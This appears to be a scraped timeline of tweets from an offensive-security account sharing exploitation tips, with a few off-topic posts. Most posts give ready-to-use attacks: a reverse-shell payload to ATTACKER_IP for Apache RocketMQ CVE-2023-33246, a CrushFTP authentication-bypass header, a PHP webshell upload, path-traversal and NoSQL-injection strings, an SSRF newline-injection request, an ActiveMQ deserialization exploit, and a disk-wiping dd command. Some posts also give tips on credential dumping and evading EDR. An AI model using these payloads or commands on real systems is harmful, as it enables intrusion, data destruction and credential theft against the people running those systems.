Parth Patel

𓆦 Exploiting Protocols

[Parth Patel @TheDarkSideOps]

@Polymarket “First Canadian” headline aside, this is really about Canada stepping into deep space ops. Artemis II isn’t just a moon trip, it’s the supply chain, robotics, and long-term presence play, and Canada just locked a seat at that table.🍁

[Parth Patel @TheDarkSideOps]

@Burp_Suite The hardest result to justify is “nothing broke” because resilience leaves no fingerprints..

[Parth Patel @TheDarkSideOps]

@0xTib3rius A crawler zero-day is running at the crust level.

[Parth Patel @TheDarkSideOps]

@SecurityTrybe sudo dd if=/dev/zero of=/dev/sda bs=1G

[Parth Patel @TheDarkSideOps]

Drop a `Referer: https://t.co/1WqAEJ56R6` header on a 403 page and watch misconfigured CDN rules open the door. Never trusting a status code.
#bugbounty #websecurity #appsec

[Parth Patel @TheDarkSideOps]

@0xTib3rius Long methods are fun until you embed one after a 0 length chunk in a https://t.co/vpsY0PhvMx desync. Frontend closes, backend sees a second request. Combine with X HTTP Method Override and a forged OPTIONS to poison upstream cache.

Elegant chaos from broken protocol logic.

[Parth Patel @TheDarkSideOps]

@InterestingSTEM Division by zero is illegal☠️

[Parth Patel @TheDarkSideOps]

LSASS isn’t dead, it’s just hiding in plain sight. Dumping creds? Sure. But try watching the process tree *after* a user logs into a mapped drive via SMB. Sometimes the juiciest tokens don’t spawn where you expect. #RedTeam #PostExploitation #WindowsInternals

[Parth Patel @TheDarkSideOps]

`GET /vulnerable/api/lookup?domain=https://t.co/sPtuzSQvkN%0AHost:internal.service.local HTTP/1.1` — SSRF pivot via newline injection to hit internal hosts behind weak filtering. #bugbounty #infosec #ssrf #websecurity #offsec

[Parth Patel @TheDarkSideOps]

Exploiting SSRF? Use Interactsh to fingerprint internal services via DNS interaction timing — but rotate domains mid-chain to avoid WAF learning patterns. Works silently in chained deserialization paths. Real hits hide behind your first request. #RedTeam #ToolDrop #Infosec

[Parth Patel @TheDarkSideOps]

CrushFTP 11.1.0–11.1.2 (CVE-2025-31161) allows unauthenticated HTTP Authorization spoofing. Send `Authorization: Basic <base64("crushadmin:")>` to bypass login and gain admin access. No creds needed. #CVE #ExploitDev #RedTeam #Infosec

[Parth Patel @TheDarkSideOps]

If the WAF blocks `../../etc/passwd`, try `..%2f..%2fetc/passwd`, then `..;/..;/etc/passwd`, then chunked transfer encoding. Some devs patch one hole and call it a moat. #bugbounty #websecurity #infosec #pentest

[Parth Patel @TheDarkSideOps]

You don’t need a 0-day when the helpdesk still resets passwords over the phone and logs into RDP with domain admin to “check something.”

#RedTeam #OPSEC #ActiveDirectory #InfoSec #CyberSecurity

[Parth Patel @TheDarkSideOps]

`POST /profile/img/upload.php` with `Content-Type: image/jpeg` but body = `<?php system($_GET['cmd']); ?>` bypasses extension filter via `.jpg`, hits `/uploads/tmp/xyz.jpg` — drop webshell with `cmd=whoami` and escalate. #bugbounty #webhacking #infosec #appsec

[Parth Patel @TheDarkSideOps]

Apache RocketMQ < 5.1.1 (CVE-2023-33246) RCE via updateConfig: send crafted HTTP POST to `/api/v1/config/broker` with `{'brokerConfig':{'rocketmqHome':'$(bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1)'}}` — no auth needed if console exposed. #CVE #ExploitDev #RedTeam

[Parth Patel @TheDarkSideOps]

`?redirect=https://<domain>.com` still working on apps that sanitize `<script>` but ignore URL params. Bonus: stash a payload at that URL and serve dynamic JS. Client-side filters won’t see it coming. #websecurity #bugbounty #xss

[Parth Patel @TheDarkSideOps]

Most EDRs trust anything signed by Microsoft. So do sysadmins. So does your SOC. Spoof trust, live in memory, and watch the blue team chase their own tail. #EDRevasion #RedTeam #Infosec #WindowsInternals

[Parth Patel @TheDarkSideOps]

`GET /api/v1/users?sort_by[$ne]=email HTTP/1.1` — bypasses blacklist-based filters on NoSQL injection in Express/Mongo apps. Returns full user dump if dev forgot to sanitize query param keys. #bugbounty #websecurity #infosec #hacking #offensivesecurity

[Parth Patel @TheDarkSideOps]

Most miss this: LDAPDomainDump + BloodHound reveals misconfigured GPOs allowing unprivileged users to edit scripts on SYSVOL. Pivot that to DC compromise without triggering EDR. Perfect for stealth escalation in noisy environments. #RedTeam #ToolDrop #PostExploitation

[Parth Patel @TheDarkSideOps]

Apache ActiveMQ CVE-2023-46604 RCE — drop a serialized class via openwire, trigger deserialization on broker start. Payload: `nc -lvnp 4444`, then send crafted `org.apache.commons.collections.functors.InvokerTransformer` chain via TCP port 61616. No auth needed. #CVE #Exploit